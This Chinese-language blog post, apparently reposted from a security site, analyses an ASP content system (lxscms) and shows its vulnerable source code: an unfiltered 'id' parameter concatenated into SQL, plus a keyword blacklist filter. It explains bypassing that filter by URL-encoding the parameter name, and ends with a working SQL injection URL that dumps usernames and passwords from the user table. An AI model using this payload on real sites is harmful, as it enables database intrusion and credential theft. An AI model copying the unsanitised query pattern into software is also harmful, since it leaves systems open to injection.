作者：Samy      出处：http://hi.baidu.com/0x7362/blog

 

<" CODEPAGE="936"%><!--#include file="conn.asp"--><!--#include file="sub_top_foot.asp"--><%

dim idd
idd=trim(request("id"))     ‘’‘’‘’‘’‘’‘’‘’‘’   无过滤
if idd="" then
call errbox("无效的参数传递","","","","")
end if
set rs=server.CreateObject("adodb.recordset")
rs.open "select * from lxscms_i where shenhe=1 and id="&idd,conn,1,3
if rs.eof and rs.bof then
call errbox("您所查找的信息不存在","","","","")
else
if rs("hits")=0 or rs("hits")="" then
rs("hits")=1
else
rs("hits")=rs("hits")+1
end if
if rs("uurl") <> "" then
response.Redirect ""& rs("uurl") &""
end if

 

sub_top_foot.asp

 

 

sub errbox(boxvalue,boxurl,box1,box2,box3)
if boxvalue = "" then
boxvalues = ""
else
boxvalues = boxvalue
end if
if box1 = "1" then
boxurls = boxurl
else
if boxurl = "" then
boxurls = "history.go(-1);"
else
boxurls = "window.location.href = '"& boxurl &"';"
end if
end if
if box1 = "1" then
response.write "<style>body {background:#fff;margin:auto;text-align:center;}.box1 {line-height:32px;font-size:14px;margin:60px;clear:both;}</style><div class='box1'>"& boxvalues &"<br /><a href='javascript:history.go(-1);'>后退至上一页</a>　<a href='"& boxurls &"'>继续操作下一步</a></div>"
response.end
else
response.write "<script>alert('"& boxvalues &"');"& boxurls &"</script>"
response.end 
end if
end sub
Dim Fy_Url,Fy_a,Fy_x,Fy_Cs(),Fy_Cl,Fy_Ts,Fy_Z'
On Error Resume Next
Fy_Url=LCase(Request.ServerVariables("QUERY_STRING"))   
Fy_a=split(Fy_Url,"&")       
redim Fy_Cs(ubound(Fy_a))   
On Error Resume Next
for Fy_x=0 to ubound(Fy_a)            
Fy_Cs(Fy_x) = left(Fy_a(Fy_x),instr(Fy_a(Fy_x),"=")-1)  

              
Next 
For Fy_x=0 to ubound(Fy_Cs)    Fy_cs(0) =id
If Fy_Cs(Fy_x)<>"" Then  

  If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"and")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"select")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"update")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"chr")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"delete%20from")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),";")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"insert")<>0 or Instr(LCase(Request(Fy_Cs(Fy_x))),"mid")<>0 Or Instr(LCase(Request(Fy_Cs(Fy_x))),"master.")<>0 Then
Select Case Fy_Cl
Case "1"
call errbox("因为你的某些非法操作,系统已经锁定了你的IP","","","")
Case "2"
call errbox("因为你的某些非法操作,系统已经锁定了你的IP","","","")
Case "3"
call errbox("因为你的某些非法操作,系统已经锁定了你的IP","","","")
End Select
Response.End

www.2cto.com

问题出在这：Fy_Url=LCase(Request.ServerVariables("QUERY_STRING"))   

 这个提交的数据不会解码

 

程序根据name来判断 value   If Instr(LCase(Request(Fy_Cs(Fy_x))),"'")<>0

 

如果我们对 value编码 最后会被解码 程序仍然可以检测到

 

绕过方法：

通过对name  id进行url 编码 i%64  首先程序会判断i%64的值

 

到这里i%64会被解码成id 

 

可我们只对i%64赋值   这时id的值就为空了

 

Exp：http://siteweb/infor.asp?i%64=-1 union select 1,qwbmuname,qwbmupwds,4,5,6+from+lxscms_u